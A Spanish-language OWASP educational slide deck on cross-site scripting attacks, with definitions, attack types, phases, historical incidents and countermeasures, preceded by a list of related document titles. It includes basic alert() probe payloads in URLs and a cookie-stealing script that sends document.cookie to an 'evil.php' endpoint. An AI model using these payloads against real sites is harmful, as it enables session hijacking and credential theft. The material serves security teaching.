Ataques XSS en Aplicaciones Web



Documentos relacionados
Roberto Garcia Amoriz. Iniciándose en XSS. c_b_n_a. Leganés 6-7 Febrero 2014

Cross Site Scripting. Conceptos Básicos y Casos prácticos. Antonio González Castro antonio@noveria.es

Detectar y solucionar infecciones en un sitio web

PROGRAMACIÓN PÁGINAS WEB CON PHP

Guía de doble autenticación

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

S E G U R I D A D E N A P L I C A C I O N E S W E B

Por qué han recurrido los cibercriminales a los ataques de JavaScript malicioso

Session Hijacking: Secuestro de sesiones en aplicaciones web empresariales

Hacking Ético Web. I Jornadas Tecnológicas CEEPS Carlos García García i52gagac@uco.es

Seguridad en Sitios Web de Alto Tráfico. Ing. Enrique Hurtarte Juárez

Capítulo 2.- Vulnerabilidades en aplicaciones web.

Ayuda para la instalación Componente Firma Digital INDICE. 1 Configuración previa Configuración Internet Explorer para ActiveX...

Reputació n Web. Actualmente la forma por la que se infectan los equipos puede ocurrir, como norma general, de tres formas distintas:

Introducción a la Firma Electrónica en MIDAS

TEMA 3. SEGURIDAD INFORMÁTICA

ARE YOUR WEB VULNERABLE?

Ataques específicos a servidores y clientes web y medidas preventivas. Problemas de seguridad Web

Security Research XSS CROSS SITE SCRIPTING Chebyte chebyte at gmail.com

Teléfono: Telefax:

Adicionalmente, en función de su objetivo, las Cookies puedes clasificarse de la siguiente forma:

Cookies: qué son y para qué sirven

Qué son y cómo combatirlas

DOCS. Pautas básicas para el DESARROLLO DE PLUGINS

Guía de integración del módulo de Redsys en Prestashop

Servicio de Notificaciones Electrónicas y Dirección Electrónica Habilitada

Pruebas de Seguridad en aplicaciones web segun OWASP Donde estamos... Hacia donde vamos?

1.1.- Introducción a la Web Vemos una introducción al medio donde se encajan los lenguajes que vamos a tratar: la web.

Resumen de los protocolos de seguridad del Registro Telemático

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez

Seguridad en la red. Fuga o robo de información a causa de las siguientes razones:

Recomendaciones de Seguridad Red Social Twitter

Índice INTERNET MARKETING 1

Programación páginas web. Servidor (PHP)

WINDOWS : TERMINAL SERVER

Redes sociales utilizadas para propagar malware

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen

Pack Seguridad Autónomos Consola de gestión del programa agente

DESCARGO DE RESPONSABILIDADES Y COPYRIGHT

Qué es una página web?, qué conoces al respecto?, sabes crear una página

CORPORACIÓN MEXICANA DE INVESTIGACIÓN EN MATERIALES, S.A. DE CV

REQUISITOS PARA EL USO DEL REGISTRO ELECTRÓNICO

RECETA ELECTRÓNICA Informe de Seguridad

Seguridad Informática

Universidad Autónoma De Guadalajara

Oficina Virtual Manual del usuario

DOMINIOS Copyright HOSTISOFT, S.L.

FSx-Connector Guía rápida del Módulo pcron (Tareas Programadas) Créditos

Un sistema adecuadamente refrigerado debe mantener una temperatura de grados.

RESUMEN INFORMATIVO PROGRAMACIÓN DIDÁCTICA CURSO 2013/2014

MANUAL WEBSOPORTE DE IRIS-EKAMAT

Política de cookies. la utilización de cookies en las webs y aplicaciones de PERSONLIG-GUIDE-

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team

Manual de usuario de la aplicación de envío telemático de partes de accidente y enfermedad profesional

Contenido Derechos Reservados DIAN - Proyecto MUISCA

ECBTI/Sur/Herramientas Teleinformáticas Malware. Hernando Arbey Robles Puentes. Neiva, 8 de Septiembre de 2014

Habilitar Captcha. 1 Accedemos al gestor de plugins. 2 Seleccionamos el plugin Captcha-ReCaptcha y entramos en la ventana de edición.

Banco de la República Bogotá D. C., Colombia

Software Criptográfico FNMT-RCM

ENTORNO DE DESARROLLO MICROSOFT.NET 2010

Índice. 1. Introducción al XSS. 2. Taller Práctico Explotando la Vulnerabilidad. 3. Robo de cookies Uso de estas. 4. Arreglando la vulnerabilidad.

LENGUAJES DE PROGRAMACIÓN WEB (PHP1, HTML52)

CESDE ESCUELA DE PROCESOS TECNOLOGICOS E INDUSTRIALES AMBIENTES COLABORATIVOS WORDPRESS

Qué es un antivirus? Son programas cuya función es detectar y eliminar Virus informáticos y otros programas maliciosos (a veces denominados malware).

Propuesta de Portal de la Red de Laboratorios Virtuales y Remotos de CEA

Política de Privacidad y Condiciones de Uso del Portal

Seguridad en Administración de Redes. INTEGRANTES: Santa Elena Rodríguez Calzada María de los Ángeles Ramírez Ortiz Liliana Gpe. Olivares Valdovinos.

Test de intrusión (Penetration Test) Introducción

Guías de ayuda para la configuración de la privacidad y seguridad de las redes sociales

Requisitos de control de proveedores externos

Instructivo fecha. ACL Results Manager Instructivo para publicación de resultados. 3.mar.15. Referencia. Usuarios. Results Manager

REQUISITOS PARA EL USO DEL REGISTRO ELECTRÓNICO

Grupo de Trabajo sobre protección de las personas en lo que respecta al tratamiento de datos personales. Recomendación 1/99

Datos de identificación de conformidad con la Ley 34/2002, de 11 de julio, de Servicios de la Sociedad de la Información y de Comercio Electrónico.

Lorena Ceballos Jesenia Gómez 10 I2


Presentación de Servicios.

Aplicación de gestión TPC Manual usuario: Tramitación

MANUAL DE INSTALACIÓN DEL COMPONENTE WEBSIGNER JAVA. Versión 4.0

3. Número inicial y número final de mensajes mostrados en la página actual.


SEGURIDAD EN LA WEB.

Preguntas y respuestas sobre el cifrado de la información personal. La guía para aprender a cifrar tu información

La elección de Blogger como la plataforma o lugar donde

Seguridad en Servicios de Hosting

Que barato cuesta hacer un Phishing bancario.

Programación páginas web con ASP.NET 3.5 (C#)

PRESENTACIÓN DEL PRODUCTO

TELEMÁTICA EN LAS PRUEBAS SELECTIVAS PARA POLICÍA (ESCALAS BÁSICA Y EJECUTIVA).

Privacidad y Seguridad en las Redes Sociales

UNIVERSIDAD DE MEDELLÍN NUEVO PORTAL WEB MANUAL DE USUARIO GESTOR DE CONTENIDOS

Alfabetización informática (30 horas)

Guía de Apoyo Project Web Access. (Jefe de Proyectos)

CONDICIONES DE USO DEL SITIO WEB

Correo y servicios en la nube PDI. 11 de Diciembre de Servicios Informáticos Área de Apoyo al Usuario

EL SOFTWARE MALICIOSO MALWARE

ÍTEMS DEL MENÚ CREACIÓN Y GESTIÓN (Última revisión: lunes, 9 de marzo de 2009)

UNIDAD DIDÁCTICA Nº 7 USO DE LOS RECURSOS EN MOODLE

Fundamentos de programación Estudia las estructuras de control y cómo definir funciones en JavaScript.

Transcripción:

Ataques XSS en Aplicaciones Web Education Project Antonio Rodríguez Romero Consultor de Seguridad Grupo isoluciones antonio.rodriguez@isoluciones.es Copyright 2007 The Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the License. The Foundation http://www.owasp.org

Índice 1. Introducción 2. Conceptos Básicos 3. Definición de ataques XSS 4. Tipos de ataques XSS 5. Fases de un ataque XSS 6. Metodologías de ataques XSS 7. Detectar aplicación web vulnerable a ataques XSS 8. Ejemplos de ataques XSS 9. Contramedidas 2

Introducción Cross Site Scripting (XSS) Las vulnerabilidades de XSS abarcaban cualquier ataque que permita ejecutar código de "scripting" en el contexto de otro sitio web. Se pueden encontrar en cualquier aplicación que tenga como objetivo final, el presentar la información en un navegador web. Usualmente no se validan correctamente los datos de entrada que son usados en algunas aplicaciones permitiendo enviar un script malicioso a la aplicación. Para funcionar necesitan un punto de entrada, que suelen ser los formularios. A través de un ataque XSS, se puede secuestrar cuentas, cambiar configuraciones de los usuarios, acceder a partes restringidas del sitio, modificar el contenido del sitio, etc. 3

Conceptos Básicos Definición: Ataque Consiste en aprovechar alguna debilidad o vulnerabilidad en el software, en el hardware, e incluso, en las personas que forman parte de un ambiente informático; a fin de obtener un beneficio, causando un efecto negativo en la seguridad del sistema, que luego repercute directamente en los activos de la organización. Efectos negativos como: Denegación de servicio Ejecutar código arbitrario Obtener información confidencial Escalar privilegios Administrar el sistema Tomar el control del mismo Detener o dañar el sistema informático 4

Conceptos Básicos Tipos de Ataques Según la forma de actuación: Ataque activo Ataque pasivo Según su procedencia: Interno Externo 5

Conceptos Básicos Definición: Vulnerabilidad Hace referencia a una debilidad en un sistema, permitiendo a un atacante violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones. Son el resultado de bugs o de fallos en el diseño del sistema. Aunque, en un sentido más amplio, también pueden ser el resultado de las propias limitaciones tecnológicas, porque, en principio, no existe sistema 100% seguro. Por lo tanto existen vulnerabilidades teóricas y vulnerabilidades reales. Las vulnerabilidades en las aplicaciones suelen corregirse con parches o con cambios de versión. Mientras que algunas otras requieren un cambio físico en un sistema informático. 6

Conceptos Básicos Definición: Script Los scripts son un conjunto de instrucciones generalmente almacenadas en un archivo de texto que deben ser interpretados línea a línea en tiempo real para su ejecución, se distinguen de los programas, pues estos deben ser convertidos a un archivo binario ejecutable. Los scripts pueden estar embebidos en otro lenguaje para aumentar las funcionalidades de este, como es el caso los scripts PHP o Javascript en código HTML. 7

Definición de ataque XSS En qué consisten? Es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado y validación en campos de entrada, permitiendo así el envío de scripts completos (como Visual Basic Scripts o Java Scripts) con secuencias de comandos maliciosos que podrían impactar directamente en el sitio web o en el equipo de un usuario. Esta limitación se debe a que el código HTML se interpreta en el navegador de un usuario y no en el servidor. Así que si alguien inyecta código HTML en alguna aplicación web no podría hacer daño alguno al servidor, ya que éste nunca interpreta el código HTML, sólo los navegadores. Por eso este ataque se denomina: ataque del lado del cliente. 8

Definición de ataque XSS En qué consisten? La explotación del ataque se vale de: Datos almacenados en servidor desde el cliente Datos que van a ser visualizados por otros usuarios. Campos de entradas sin protección y ningún tipo de validación Los conocimientos del atacante sobre programación HTML y scripting 9

Definición de ataque XSS Riesgos Navegación dirigida Phishing Spyware Robo de credenciales Ejecución de acciones automáticas 10

Definición de ataque XSS Recursos para explotar la vulnerabilidad Formularios de contactos de sitios web Mensajes en Foros Firma de libro de visitas Buscadores Variables Correo Web 11

Tipos de ataques XSS Ataques Directos El ataque de forma directa de XSS (también llamado XSS persistente), se presenta cuando el atacante consigue embeber código HTML malicioso, directamente en los sitios Webs que así lo permiten. Funciona localizando puntos débiles en la programación de los filtros de HTML si es que existen, para publicar contenido. Este tipo de ataques suele ser el más común, y el código del atacante, se basa en etiquetas HTML (del tipo <frame> o <script>), entre las cuales incluye el código malicioso. 12

Tipos de ataques XSS Ataques Indirectos Este tipo de ataques se presenta, cuando el código maligno se inyecta a través de formularios, a través de los parámetros de una URL, programas en Flash, un enlace malicioso e incluso vídeos. Un ejemplo de un XSS indirecto, puede darse a través de un enlace malicioso, del tipo: http://www.appvictima.com/search?p=<script>alert('hola-mundo')</script> El resultado muestra una ventana con el texto "hola-mundo". Esta vulnerabilidad suele ser usada para efectuar robo de sesiones y phishing. 13

Fases de un ataque XSS Fase 1 Inserción de código HTML: Identificar que código puede introducir Fase 2 Fase 3 Pruebas de Concepto: Qué puede hacer con XSS? Robo de credenciales, alterar el sitio web, etc. Llevar a cabo el daño, robo de credenciales, suplantación de identidad, envío de emails falsos, identificación de posibles víctimas, etc. 14

Metodologías de ataques XSS Robo de Cookies Mediante esta técnica se puede robar sesiones de una manera bastante sencilla. Bastaría con realizar un script que llamase a una página alojada en nuestro servidor pasándole la cookie. <SCRIPT type="text/javascript"> var adr = '../evil.php?cookiemonster=' + escape(document.cookie); </SCRIPT> Este Script se colaría en el servidor de la victima aprovechando un punto vulnerable a XSS. Cuando un usuario se ha validado en el servidor y ejecute el script se envía al servidor el contenido de la cookie. Una vez que la página obtiene la cookie (almacenándola por ejemplo en un fichero) mediante programas como Odysseus, se puede hacer una llamada al servidor pasándole la cookie original. Esta cookie es válida para robar la sesión solo mientras el usuario no cierre la sesión. 15

Metodologías de ataques XSS Variables http://www.../index.html?ofertas=><script>alert( VulnerabilidadXSS )</script>

Metodologías de ataques XSS Buscadores

Metodologías de ataques XSS Páginas de error

Detectar aplicación web vulnerable a ataques XSS Método Detectar la vulnerabilidad a través de un formulario: <script>alert();</script> Detectar la vulnerabilidad a través de URL: http://vulnerable.com/index.html?nombre=<script>alert();</script> 19

Ejemplos de ataques XSS Phishing a la banca electrónica Por mala validación de datos de entrada, un atacante puede conseguir inyectar código, para realizar el robo de credenciales y lograr el acceso a cuentas bancarias. 20

Ejemplos de ataques XSS Presidencia Española de la Unión Europea Consiguen alterar la imagen de un Presidente de Gobierno con una imagen errónea, con el fin de dañar la imagen pública de un país. 21

Ejemplos de ataques XSS Twitter Se inyectaba código Java Script persistente, a través de un fichero.js alojado en el servidor. El cliente de Twitter no limpiaba el código que venía con las URLs 22

Ejemplos de ataques XSS Youtube Los atacantes lograron inyectar código HTML desde el área de comentarios en Youtube. Los hackers hicieron de todo, desde forzar mensajes popup para que aparecieran en el sitio, hasta re direccionar a los usuarios a páginas con malware. 23

Ejemplos de ataques XSS Facebook El ataque se basaba en el acceso a través de Java Scripts, de las cookies del usuario de Facebook, logrando re direccionar su contenido a un servidor web controlado por el atacante. Esto permitía al atacante, acceder a los mensajes privados de los usuarios, adicionar nuevas aplicaciones sin autorización, disponer de las imágenes privadas de las víctimas, robar la lista de contactos, etc. 24

Contramedidas Diseño de aplicaciones Validar todas las entradas de formularios: Se debe verificar que el tipo de datos y la longitud de cada campo se corresponda con lo esperado. Se deberá filtrar caracteres especiales que puedan resultar peligrosos Se deben programar las aplicaciones web, filtrando determinados comandos. En general en los ataques XSS son usadas etiquetas como SCRIPT, OBJECT, APPLET, EMBED y FORM. Envío de mensajes de alerta intimidatorios, cuando se detecte que un usuario de la aplicación intente un posible ataque. 25

Contramedidas Navegadores del lado cliente Otra contramedida, que ayuda a mitigar los ataques XSS, evitando que los usuarios sean víctimas de ellos, es el uso de las versiones más recientes de navegadores web. A partir de Internet Explorer 8, cuando se intenta acceder a una página web que ha sido víctima de un ataque XSS, aparece un mensaje que avisa de que la página web ha sido modificada, para proteger al usuario de un posible ataque. Esto es debido a que el filtro Anti XSS de Internet Explorer ha detectado la manipulación de la página mediante la inyección de código en un parámetro. 26

Muchas gracias antonio.rodriguez@isoluciones.es 27